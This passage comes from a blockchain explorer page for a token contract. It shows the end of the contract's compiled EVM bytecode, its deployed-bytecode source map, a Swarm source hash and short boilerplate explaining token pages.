4610d0f576040519150601f19603f3d011682016040523d82523d5f602084013e610d14565b606091505b5050505050565b5f80610d2783856111ef565b905083811015610c735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610492565b5f610c7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bbd565b5f8183610dda5760405162461bcd60e51b81526004016104929190610f6e565b505f610bec8486611215565b6005805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e2c57610e2c611234565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e9c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ec09190611248565b81600181518110610ed357610ed3611234565b6001600160a01b039283166020918202929092010152600454610ef991309116846107d9565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610f309186915f9187913091429101611263565b5f604051808303815f87803b158015610f47575f80fd5b505af1158015610f59573d5f803e3d5ffd5b50506005805460ff60a81b1916905550505050565b5f6020808352835180828501525f5b81811015610f9957858101830151858201604001528201610f7d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fcd575f80fd5b50565b5f8060408385031215610fe1575f80fd5b8235610fec81610fb9565b946020939093013593505050565b5f6020828403121561100a575f80fd5b5035919050565b5f805f60608486031215611023575f80fd5b833561102e81610fb9565b9250602084013561103e81610fb9565b929592945050506040919091013590565b5f6020828403121561105f575f80fd5b8135610c7381610fb9565b5f806040838503121561107b575f80fd5b823561108681610fb9565b9150602083013561109681610fb9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561112457815f190482111561110a5761110a6110d6565b8085161561111757918102915b93841c93908002906110ef565b509250929050565b5f8261113a575060016104c4565b8161114657505f6104c4565b816001811461115c576002811461116657611182565b60019150506104c4565b60ff841115611177576111776110d6565b50506001821b6104c4565b5060208310610133831016604e8410600b84101617156111a5575081810a6104c4565b6111af83836110ea565b805f19048211156111c2576111c26110d6565b029392505050565b5f610c7360ff84168361112c565b80820281158282048414176104c4576104c46110d6565b808201808211156104c4576104c46110d6565b818103818111156104c4576104c46110d6565b5f8261122f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611258575f80fd5b8151610c7381610fb9565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156112b15784516001600160a01b03168352938301939183019160010161128c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d384ecf07a6bd24d28a7c0bacef6072c4f976d86bf8274caeffe60a4da1f1d764736f6c63430008150033

Deployed Bytecode Sourcemap

3579:6517:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5216:83;;;;;;;;;;-1:-1:-1;5286:5:0;;;;;;;;;;;;-1:-1:-1;;;5286:5:0;;;;5216:83;;;;;;;:::i;:::-;;;;;;;;9937:115;;;;;;;;;;;;;:::i;:::-;;6049:161;;;;;;;;;;-1:-1:-1;6049:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6049:161:0;1023:187:1;5493:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5493:95:0;1215:177:1;8511:138:0;;;;;;;;;;;;;:::i;8036:156::-;;;;;;;;;;-1:-1:-1;8036:156:0;;;;;:::i;:::-;;:::i;6218:313::-;;;;;;;;;;-1:-1:-1;6218:313:0;;;;;:::i;:::-;;:::i;5402:83::-;;;;;;;;;;-1:-1:-1;5402:83:0;;4407:2;2185:36:1;;2173:2;2158:18;5402:83:0;2043:184:1;3943:34:0;;;;;;;;;;-1:-1:-1;3943:34:0;;;;-1:-1:-1;;;3943:34:0;;;;;;8787:168;;;;;;;;;;-1:-1:-1;8787:168:0;;;;;:::i;:::-;;:::i;8657:124::-;;;;;;;;;;-1:-1:-1;8657:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;8746:27:0;8722:4;8746:27;;;:18;:27;;;;;;;;;8657:124;8961:151;;;;;;;;;;;;;:::i;5596:119::-;;;;;;;;;;-1:-1:-1;5596:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5689:18:0;5662:7;5689:18;;;:9;:18;;;;;;;5596:119;9316:126;;;;;;;;;;;;;:::i;4487:45::-;;;;;;;;;;;;;;;;3364:79;;;;;;;;;;-1:-1:-1;3402:7:0;3429:6;3364:79;;-1:-1:-1;;;;;3429:6:0;;;2630:51:1;;2618:2;2603:18;3364:79:0;2484:203:1;5307:87:0;;;;;;;;;;-1:-1:-1;5379:7:0;;;;;;;;;;;;-1:-1:-1;;;5379:7:0;;;;5307:87;;5723:167;;;;;;;;;;-1:-1:-1;5723:167:0;;;;;:::i;:::-;;:::i;8206:147::-;;;;;;;;;;-1:-1:-1;8206:147:0;;;;;:::i;:::-;;:::i;5898:143::-;;;;;;;;;;-1:-1:-1;5898:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6006:18:0;;;5979:7;6006:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5898:143;4225:28;;;;;;;;;;;;;;;;4192:26;;;;;;;;;;;;;;;;8359:144;;;;;;;;;;-1:-1:-1;8359:144:0;;;;;:::i;:::-;;:::i;9937:115::-;3491:6;;-1:-1:-1;;;;;3491:6:0;430:10;3491:22;3483:67;;;;-1:-1:-1;;;3483:67:0;;;;;;;:::i;:::-;;;;;;;;;9994:14:::1;:21:::0;;-1:-1:-1;;;;10026:18:0;-1:-1:-1;;;10026:18:0;;;9937:115::o;6049:161::-;6124:4;6141:39;430:10;6164:7;6173:6;6141:8;:39::i;:::-;-1:-1:-1;6198:4:0;6049:161;;;;;:::o;5493:95::-;5546:7;4462:13;4407:2;4462;:13;:::i;:::-;4451:24;;:8;:24;:::i;:::-;5566:14;;5493:95;:::o;8511:138::-;3491:6;;-1:-1:-1;;;;;3491:6:0;430:10;3491:22;3483:67;;;;-1:-1:-1;;;3483:67:0;;;;;;;:::i;:::-;4462:13:::1;4407:2;4462;:13;:::i;:::-;4451:24;::::0;:8:::1;:24;:::i;:::-;8577:10;:19:::0;8617:1:::1;8607:7;:11:::0;;;8629:8:::1;:12:::0;8511:138::o;8036:156::-;8090:4;8107:55;8125:10;8146:6;8155;8107:9;:55::i;:::-;-1:-1:-1;8180:4:0;;8036:156;-1:-1:-1;8036:156:0:o;6218:313::-;6316:4;6333:36;6343:6;6351:9;6362:6;6333:9;:36::i;:::-;6380:121;6389:6;430:10;6411:89;6449:6;6411:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6411:19:0;;;;;;:11;:19;;;;;;;;430:10;6411:33;;;;;;;;;;:37;:89::i;:::-;6380:8;:121::i;:::-;-1:-1:-1;6519:4:0;6218:313;;;;;:::o;8787:168::-;3491:6;;-1:-1:-1;;;;;3491:6:0;430:10;3491:22;3483:67;;;;-1:-1:-1;;;3483:67:0;;;;;;;:::i;:::-;8877:1:::1;8870:6;:8;8862:46;;;::::0;-1:-1:-1;;;8862:46:0;;5336:2:1;8862:46:0::1;::::0;::::1;5318:21:1::0;5375:2;5355:18;;;5348:30;5414:27;5394:18;;;5387:55;5459:18;;8862:46:0::1;5134:349:1::0;8862:46:0::1;8919:19;:28:::0;8787:168::o;8961:151::-;3491:6;;-1:-1:-1;;;;;3491:6:0;430:10;3491:22;3483:67;;;;-1:-1:-1;;;3483:67:0;;;;;;;:::i;:::-;9033:11:::1;::::0;;-1:-1:-1;;;9033:11:0::1;::::0;;::::1;::::0;::::1;9032:12;9018:26:::0;::::1;-1:-1:-1::0;;;;9018:26:0;;::::1;::::0;;::::1;9057:11:::0;;::::1;::::0;::::1;9045:23;;::::0;::::1;::::0;;;;::::1;9093:11:::0;;::::1;::::0;;::::1;9092:12;9078:26:::0;;::::1;::::0;::::1;;::::0;;8961:151::o;9316:126::-;3491:6;;-1:-1:-1;;;;;3491:6:0;430:10;3491:22;3483:67;;;;-1:-1:-1;;;3483:67:0;;;;;;;:::i;:::-;4462:13:::1;4407:2;4462;:13;:::i;:::-;4451:24;::::0;:8:::1;:24;:::i;:::-;9370:10;:19:::0;9410:1:::1;9400:7;:11:::0;;;9422:8:::1;:12:::0;9316:126::o;5723:167::-;5801:4;5818:42;430:10;5842:9;5853:6;5818:9;:42::i;8206:147::-;3491:6;;-1:-1:-1;;;;;3491:6:0;430:10;3491:22;3483:67;;;;-1:-1:-1;;;3483:67:0;;;;;;;:::i;:::-;8294:3:::1;8284:6;:13;;8276:41;;;::::0;-1:-1:-1;;;8276:41:0;;5690:2:1;8276:41:0::1;::::0;::::1;5672:21:1::0;5729:2;5709:18;;;5702:30;-1:-1:-1;;;5748:18:1;;;5741:45;5803:18;;8276:41:0::1;5488:339:1::0;8276:41:0::1;8328:8;:17:::0;8206:147::o;8359:144::-;3491:6;;-1:-1:-1;;;;;3491:6:0;430:10;3491:22;3483:67;;;;-1:-1:-1;;;3483:67:0;;;;;;;:::i;:::-;8445:3:::1;8435:6;:13;;8427:41;;;::::0;-1:-1:-1;;;8427:41:0;;5690:2:1;8427:41:0::1;::::0;::::1;5672:21:1::0;5729:2;5709:18;;;5702:30;-1:-1:-1;;;5748:18:1;;;5741:45;5803:18;;8427:41:0::1;5488:339:1::0;8427:41:0::1;8479:7;:16:::0;8359:144::o;6539:177::-;-1:-1:-1;;;;;6624:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6676:32;;1361:25:1;;;6676:32:0;;1334:18:1;6676:32:0;;;;;;;6539:177;;;:::o;6724:1298::-;6821:1;6812:6;:10;6804:64;;;;-1:-1:-1;;;6804:64:0;;6034:2:1;6804:64:0;;;6016:21:1;6073:2;6053:18;;;6046:30;6112:34;6092:18;;;6085:62;-1:-1:-1;;;6163:18:1;;;6156:39;6212:19;;6804:64:0;5832:405:1;6804:64:0;-1:-1:-1;;;;;6942:24:0;;6888:17;6942:24;;;:18;:24;;;;;;6888:17;;6942:24;;;:50;;-1:-1:-1;;;;;;6970:22:0;;;;;;:18;:22;;;;;;;;6942:50;6920:73;;7009:13;7004:653;;7047:14;;-1:-1:-1;;;7047:14:0;;;;7039:49;;;;-1:-1:-1;;;7039:49:0;;6444:2:1;7039:49:0;;;6426:21:1;6483:2;6463:18;;;6456:30;-1:-1:-1;;;6502:18:1;;;6495:52;6564:18;;7039:49:0;6242:346:1;7039:49:0;7117:13;;-1:-1:-1;;;;;7117:13:0;;;7109:21;;;;7105:220;;7209:10;;7199:6;7183:13;7193:2;-1:-1:-1;;;;;5689:18:0;5662:7;5689:18;;;:9;:18;;;;;;;5596:119;7183:13;:22;;;;:::i;:::-;:36;;7175:75;;;;-1:-1:-1;;;7175:75:0;;6925:2:1;7175:75:0;;;6907:21:1;6964:2;6944:18;;;6937:30;7003:28;6983:18;;;6976:56;7049:18;;7175:75:0;6723:350:1;7175:75:0;7281:28;7305:3;7281:19;7292:7;;7281:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;7269:40;;7105:220;7351:13;;-1:-1:-1;;;;;7351:13:0;;;7345:19;;;;7341:127;;7423:29;7448:3;7423:20;7434:8;;7423:6;:10;;:20;;;;:::i;:29::-;7411:41;;7341:127;7489:6;;-1:-1:-1;;;7489:6:0;;;;7488:7;:30;;;;-1:-1:-1;7505:13:0;;-1:-1:-1;;;;;7499:19:0;;;7505:13;;7499:19;7488:30;:45;;;;-1:-1:-1;7522:11:0;;-1:-1:-1;;;7522:11:0;;;;7488:45;:95;;;;-1:-1:-1;7564:19:0;;7555:4;5662:7;5689:18;;;:9;:18;;;;;;7537:46;7488:95;7484:162;;;7604:26;7610:19;;7604:5;:26::i;:::-;7672:13;;7669:168;;7745:4;7727:24;;;;:9;:24;;;;;;:39;;7756:9;7727:28;:39::i;:::-;7720:4;7702:24;;;;:9;:24;;;;;;;:64;;;;7786:39;;-1:-1:-1;;;;;7786:39:0;;;;;;;7815:9;1361:25:1;;1349:2;1334:18;;1215:177;7786:39:0;;;;;;;;7669:168;-1:-1:-1;;;;;7865:15:0;;;;;;:9;:15;;;;;;:27;;7885:6;7865:19;:27::i;:::-;-1:-1:-1;;;;;7849:15:0;;;;;;:9;:15;;;;;:43;7917:40;7935:21;:6;7946:9;7935:10;:21::i;:::-;-1:-1:-1;;;;;7917:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;7903:13:0;;;;;;;:9;:13;;;;;:54;;;;7973:41;;;7992:21;:6;8003:9;7992:10;:21::i;:::-;7973:41;;1361:25:1;;;1349:2;1334:18;7973:41:0;;;;;;;6793:1229;;6724:1298;;;:::o;808:190::-;894:7;930:12;922:6;;;;914:29;;;;-1:-1:-1;;;914:29:0;;;;;;;;:::i;:::-;-1:-1:-1;954:9:0;966:5;970:1;966;:5;:::i;:::-;954:17;808:190;-1:-1:-1;;;;;808:190:0:o;1006:246::-;1064:7;1088:1;1093;1088:6;1084:47;;-1:-1:-1;1118:1:0;1111:8;;1084:47;1141:9;1153:5;1157:1;1153;:5;:::i;:::-;1141:17;-1:-1:-1;1186:1:0;1177:5;1181:1;1141:17;1177:5;:::i;:::-;:10;1169:56;;;;-1:-1:-1;;;1169:56:0;;7635:2:1;1169:56:0;;;7617:21:1;7674:2;7654:18;;;7647:30;7713:34;7693:18;;;7686:62;-1:-1:-1;;;7764:18:1;;;7757:31;7805:19;;1169:56:0;7433:397:1;1169:56:0;1243:1;1006:246;-1:-1:-1;;;1006:246:0:o;1260:132::-;1318:7;1345:39;1349:1;1352;1345:39;;;;;;;;;;;;;;;;;:3;:39::i;9120:188::-;9170:12;9193:24;9210:6;9193:16;:24::i;:::-;9250:10;;9242:58;;-1:-1:-1;;;;;9250:10:0;;;;9274:21;;9242:58;;;;9274:21;9250:10;9242:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9120:188:0:o;477:179::-;535:7;;567:5;571:1;567;:5;:::i;:::-;555:17;;596:1;591;:6;;583:46;;;;-1:-1:-1;;;583:46:0;;8247:2:1;583:46:0;;;8229:21:1;8286:2;8266:18;;;8259:30;8325:29;8305:18;;;8298:57;8372:18;;583:46:0;8045:351:1;664:136:0;722:7;749:43;753:1;756;749:43;;;;;;;;;;;;;;;;;:3;:43::i;1400:189::-;1486:7;1521:12;1514:5;1506:28;;;;-1:-1:-1;;;1506:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1545:9:0;1557:5;1561:1;1557;:5;:::i;9448:483::-;4575:6;:13;;-1:-1:-1;;;;4575:13:0;-1:-1:-1;;;4575:13:0;;;9550:16:::1;::::0;;9564:1:::1;9550:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9550:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9550:16:0::1;9526:40;;9595:4;9577;9582:1;9577:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9577:23:0::1;;;-1:-1:-1::0;;;;;9577:23:0::1;;;::::0;::::1;9621:15;;;;;;;;;-1:-1:-1::0;;;;;9621:15:0::1;-1:-1:-1::0;;;;;9621:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9611:4;9616:1;9611:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9611:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9686:15:::1;::::0;9654:62:::1;::::0;9671:4:::1;::::0;9686:15:::1;9704:11:::0;9654:8:::1;:62::i;:::-;9727:15;::::0;;:196:::1;::::0;-1:-1:-1;;;9727:196:0;;-1:-1:-1;;;;;9727:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9808:11;;9727:15:::1;::::0;9850:4;;9877::::1;::::0;9897:15:::1;::::0;9727:196:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4611:6:0;:14;;-1:-1:-1;;;;4611:14:0;;;-1:-1:-1;;;;9448:483:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:180::-;1456:6;1509:2;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;-1:-1:-1;1548:23:1;;1397:180;-1:-1:-1;1397:180:1:o;1582:456::-;1659:6;1667;1675;1728:2;1716:9;1707:7;1703:23;1699:32;1696:52;;;1744:1;1741;1734:12;1696:52;1783:9;1770:23;1802:31;1827:5;1802:31;:::i;:::-;1852:5;-1:-1:-1;1909:2:1;1894:18;;1881:32;1922:33;1881:32;1922:33;:::i;:::-;1582:456;;1974:7;;-1:-1:-1;;;2028:2:1;2013:18;;;;2000:32;;1582:456::o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:356::-;3287:2;3269:21;;;3306:18;;;3299:30;3365:34;3360:2;3345:18;;3338:62;3432:2;3417:18;;3085:356::o;3446:127::-;3507:10;3502:3;3498:20;3495:1;3488:31;3538:4;3535:1;3528:15;3562:4;3559:1;3552:15;3578:422;3667:1;3710:5;3667:1;3724:270;3745:7;3735:8;3732:21;3724:270;;;3804:4;3800:1;3796:6;3792:17;3786:4;3783:27;3780:53;;;3813:18;;:::i;:::-;3863:7;3853:8;3849:22;3846:55;;;3883:16;;;;3846:55;3962:22;;;;3922:15;;;;3724:270;;;3728:3;3578:422;;;;;:::o;4005:806::-;4054:5;4084:8;4074:80;;-1:-1:-1;4125:1:1;4139:5;;4074:80;4173:4;4163:76;;-1:-1:-1;4210:1:1;4224:5;;4163:76;4255:4;4273:1;4268:59;;;;4341:1;4336:130;;;;4248:218;;4268:59;4298:1;4289:10;;4312:5;;;4336:130;4373:3;4363:8;4360:17;4357:43;;;4380:18;;:::i;:::-;-1:-1:-1;;4436:1:1;4422:16;;4451:5;;4248:218;;4550:2;4540:8;4537:16;4531:3;4525:4;4522:13;4518:36;4512:2;4502:8;4499:16;4494:2;4488:4;4485:12;4481:35;4478:77;4475:159;;;-1:-1:-1;4587:19:1;;;4619:5;;4475:159;4666:34;4691:8;4685:4;4666:34;:::i;:::-;4736:6;4732:1;4728:6;4724:19;4715:7;4712:32;4709:58;;;4747:18;;:::i;:::-;4785:20;;4005:806;-1:-1:-1;;;4005:806:1:o;4816:140::-;4874:5;4903:47;4944:4;4934:8;4930:19;4924:4;4903:47;:::i;4961:168::-;5034:9;;;5065;;5082:15;;;5076:22;;5062:37;5052:71;;5103:18;;:::i;6593:125::-;6658:9;;;6679:10;;;6676:36;;;6692:18;;:::i;7078:128::-;7145:9;;;7166:11;;;7163:37;;;7180:18;;:::i;7211:217::-;7251:1;7277;7267:132;;7321:10;7316:3;7312:20;7309:1;7302:31;7356:4;7353:1;7346:15;7384:4;7381:1;7374:15;7267:132;-1:-1:-1;7413:9:1;;7211:217::o;8533:127::-;8594:10;8589:3;8585:20;8582:1;8575:31;8625:4;8622:1;8615:15;8649:4;8646:1;8639:15;8665:251;8735:6;8788:2;8776:9;8767:7;8763:23;8759:32;8756:52;;;8804:1;8801;8794:12;8756:52;8836:9;8830:16;8855:31;8880:5;8855:31;:::i;8921:980::-;9183:4;9231:3;9220:9;9216:19;9262:6;9251:9;9244:25;9288:2;9326:6;9321:2;9310:9;9306:18;9299:34;9369:3;9364:2;9353:9;9349:18;9342:31;9393:6;9428;9422:13;9459:6;9451;9444:22;9497:3;9486:9;9482:19;9475:26;;9536:2;9528:6;9524:15;9510:29;;9557:1;9567:195;9581:6;9578:1;9575:13;9567:195;;;9646:13;;-1:-1:-1;;;;;9642:39:1;9630:52;;9737:15;;;;9702:12;;;;9678:1;9596:9;9567:195;;;-1:-1:-1;;;;;;;9818:32:1;;;;9813:2;9798:18;;9791:60;-1:-1:-1;;;9882:3:1;9867:19;9860:35;9779:3;8921:980;-1:-1:-1;;;8921:980:1:o

Swarm Source

ipfs://1d384ecf07a6bd24d28a7c0bacef6072c4f976d86bf8274caeffe60a4da1f1d7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.